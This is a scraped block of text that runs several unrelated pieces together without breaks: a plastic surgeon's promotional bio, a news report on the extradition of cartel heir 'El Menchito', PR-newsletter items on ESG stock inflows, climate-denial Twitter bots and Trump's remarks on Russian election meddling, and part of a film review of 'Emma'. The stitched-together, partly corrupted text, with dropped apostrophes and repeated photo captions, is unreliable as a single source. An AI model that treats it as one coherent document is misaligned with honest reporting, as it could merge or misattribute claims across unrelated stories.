has made a difference in the lives of approximately 250,000 children in over 95 countries. More about Dr. Benjamin Stong and Kalos Facial Plastic Surgery, LLC: Owner of Kalos Facial Plastic Surgery in Atlanta, Georgia, Dr. Benjamin Stong is dual board-certified and fellowship-trained in head and neck surgery and facial plastic and reconstructive surgery. Dr. Stong combines his training, experience and talent to generate superior outcomes in both surgical and non-surgical cosmetic surgery. Throughout his career, Dr. Stong has earned numerous accolades and recognition, including the Castle Connelly Top Doctor award for consecutive years. Dr. Stong also specializes in hair transplantation and innovative treatments at The K Spa in Atlanta. If you would like to get more information about the services offered by Kalos Facial Plastic Surgery, LLC, please call their Atlanta office at (404) 963-6665 or visit the website at http://www.kalos-plasticsurgery.com. For information regarding the upcoming medical mission to Peru or ways to help support Healing the Children, please visit http://www.htcnorcal.org. The American-born son of Mexico's most wanted drug lord was finally extradited to the United States, bringing an end to a lengthy court battle. Ruben 'El Menchito' Oseguera Gonzalez was handed over to U.S. federal officers Thursday, Mexico's Attorney General's office confirmed. 'El Menchito' is the son of of Nemesio 'El Mencho' Oseguera Cervantes - the leader of the feared Jalisco New Generation Cartel, considered the most powerful criminal organization in Mexico. A federal court in the District of Columbia had been seeking his arrest since 2017 when it indicted the 29-year-old San Francisco native on two counts. Authorities charged El Menchito with 'conspiracy to distribute significant quantities of narcotics for illegal importation into the United States' and engaging 'in the use of a firearm during and in relation to one or more drug trafficking crimes' between 2007 and February 2017. El Menchito is considered the heir to the Jalisco New Generation Cartel and was the organization's second in command prior to being arrested by Mexican security forces in June 2015. Ruben 'El Menchito' Oseguera Gonzalez was extradited from Mexico to the United States on Thursday, a spokesperson with Mexico's Attorney General's office confirmed to DailyMail.com. He was born in San Francisco and is the son of Nemesio 'El Mencho' Oseguera Cervantes El Menchito's father is Nemesio 'El Mencho' Oseguera Cervantes (pictured), the leader of the Jalisco New Generation Cartel, Mexico's most powerful criminal group Oseguera Gonzalez was transported out of a federal jail in Hermosillo, Sonora, and flown to Washington. He was moved to that prison in September after a video released by a Mexican gang revealed a plot to break him out of the Altiplano maximum security prison in Almoloya de Juarez, Mexico State, where he had been held since his arrest in June 2015. Altiplano is the same facility where infamous drug kingpin Joaquin 'El Chapo' Guzman escaped from in 2015. In an attempt to stave off his extradition to the United States, El Menchito penned a two-page letter to Mexico President Andres Manuel Lopez Obrador, claiming he was an 'honest person, hard worker, humble [and] devoted.' But the letter did little to convince Lopez Obrador to intervene. El Menchito also complained of being held in isolation and banned from communicating with the rest of the inmate population. The cartel boss has battled law enforcement in court for years. Drug trafficking, gun possession and criminal affiliation charges that were tossed by judges in October and December 2014. On December 26, 2014, he was released because there was not enough evidence to charge him with drug trafficking and with being a leader of the cartel. Six months later, he was apprehended by the Mexican Army and federal police after undergoing nose surgery. United States authorities say Ruben Oseguera Gonzalez is the second-in-command of the Jalisco New Generation Cartel behind his father, El Mencho A judge released him July 1 after ruling that prosecutors levied the same charges that he had already been cleared of, and his due process rights were violated. But again, as he walked out, authorities were waiting and rearrested him. Federal prosecutors were given a 40-day preventative detention order and he was eventually charged in August 2015 with being the second-in-command behind El Mencho in the Jalisco New Generation Cartel's power structure and accused of money laundering. He has remained in custody ever since. His defense went as far as presenting a forensic report that claimed the digital images presented by the U.S. did not match photos of El Menchito that were taken when he was transferred to the Federal Social Readaptation Center No. 13 in Oaxaca in February 2016. In a two-page handwritten letter was obtained by Mexican news outlet Proceso and published in December, Ruben Oseguera Gonzalez told Mexico's president that he is a 'honest person, hard worker, humble [and] devoted' However, a judge from the Eighth District Court in the State of Oaxaca shot down Oseguera Gonzalez's request to have his extradition removed because it lacked value. An additional investigation carried out by the Office of the Attorney General found that there was connection of facial features with the images of Oseguera Gonzalez. El Menchito, who was born in San Francisco, also steadfastly claimed that was not the son of El Mencho and presented documents that were dismissed by the Mexican judicial system. On August 29, 2019, a judge determined that Oseguera Gonzalez was not guilty of being involved with organized crime and ordered his immediate release. But authorities kept him behind bars on charges of money laundering and the illegal possession of military weapons. The United States government is currently offering a $10 million reward for the arrest of El Menchito's father. His father is the most-wanted man in Mexico and has a $1.6 million bounty on his head. He escaped capture from the military in 2013. El Mencho is one of the 10 most-wanted men on the FBI's list and the U.S. Department of Justice is also offering a $10 million reward for his arrest El Mencho is one of the 10 most-wanted men on the FBI's list and the U.S. Department of Justice is also offering a $10 million reward for his arrest. According to the United States Drug Enforcement Agency, El Mencho's organization operates in 22 of 32 states in Mexico and has shipped cocaine, heroin, methamphetamine and fentanyl-laced heroin to the United States. It also has established that the group has a presence in Europe, Asia and Australia. Savita Subramanian Is the sustainability "bubble" ready to pop on Wall Street? Should PR share the blame for the growing price gap between social responsibility stocks and other equities? Morningstar found that investors poured $21B into environmental, social and governance funds in 2019, just about quadrupling the 2018 amount. Savita Subramanian, Bank of America's head of US equity strategy, said the "monstrous" inflow of money into ESG funds is driving the valuation gap, according to The Financial Times. Some Wall Streeters believe ESG stocks are on fire because corporate CEOs heed PR messaging about meeting the needs of all stakeholders, including employees, customers, communities and society as a whole. The FT noted that money flowing into energy renewable stocks comes at the expense of oil & gas companies. There appears to be a growing disconnect between operational performance and share price returns, said Eugene Klerk, head of global ESG research at Credit Suisse. There is a growing awareness or nervousness around this particular topic. Morgan Stanley reports the outperformance of ESG stocks began six to nine months ago and that it typically takes at least five years before overheated sectors cool down. That means there's still plenty of time for corporate CEOs to buy into PR's ESG pitch. Twitter feels heat on global warming. While Facebook is taking hits for its policies on political advertising, Twitter deserves scrutiny for running tweets denying global warming that are produced by bots. A quarter of all climate crisis tweets stem from bots, according to a not-yet-published study from Brown University. The Guardian of the UK obtained a draft of the report. The Brown researchers found the bots had a "substantial impact" in amplifying global denial messaging and building support for president Trump's decision to withdraw from the Paris climate agreement. Stephan Lewandowsky, co-author of the study that analyzed 6.5M tweets, isn't surprised at the global denial messages. More often than not, they turn out to have all the fingerprints of bots, he told The Guardian. The more denial trolls are out there, the more likely people will think that there is a diversity of opinion and hence will weaken their support for climate science." What do you say, Twitter? It's time to put the trusty Edelman Trust Barometer to work. President Trump said Feb. 21 that reports from US intelligence about Russia's planned meddling in the 2020 election are just more attacks on America's victim-in-chief. He tweeted: Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do-Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa. Hoax number 7! The Kremlin seconded their guy, dismissing the story as "fake news." Spokesperson Dmitry Peskov said: These are more paranoid announcements which, to our regret, will multiply as we get closer to the [US] election, They have nothing to do with the truth. US intelligence officials would not comment about the briefing made to the House Intelligence Committee, though the panel's chairman, Adam Schiff, did. He tweeted Feb. 20: We count on the intelligence community to inform Congress of any threat of foreign interference in our elections. If reports are true and the President is interfering with that, he is again jeopardizing our efforts to stop foreign meddling. Exactly as we warned he would do. Who do you believe, Trump, Peskov or Schiff? Is the country ready for another round of impeachment hearings? But Taylor-Joy, 23, came to the part animated, she said in an interview, by Austens own description of Emma as a heroine whom no one but myself will much like. She is perhaps best known for portraying people in extremis: the possibly possessed 17th-century farmers daughter in The Witch (2016) and one of the girls trapped in the basement by the psychopathic James McAvoy in M. Night Shyamalans horror movie Split (2017). She plays Emma with style and attitude and sharpness, as if the character has stepped out of a Regency England version of Mean Girls. If every era gets its own Emma, perhaps the time is right for one whose job is not always to please the audience. I was really sick of women having to be not just likable, but also easy to like, Taylor-Joy said. Whenever she had a bad moment, I wanted it to be a moment in which people would see her behaving badly. In the film, Taylor-Joy wears true-to-the-period gowns that are not always flattering (one has a neckline so high that it appears to be choking her). Meanwhile, her hair is corralled into tight curls on either side of her face, a la Nellie in Little House on the Prairie and when she is displeased, she can look as if shes sucking on a lemon drop. The film emphasizes Taylor-Joys striking, almost otherworldly appearance but at times plays down her natural physical appeal in the service of her characters haughtiness.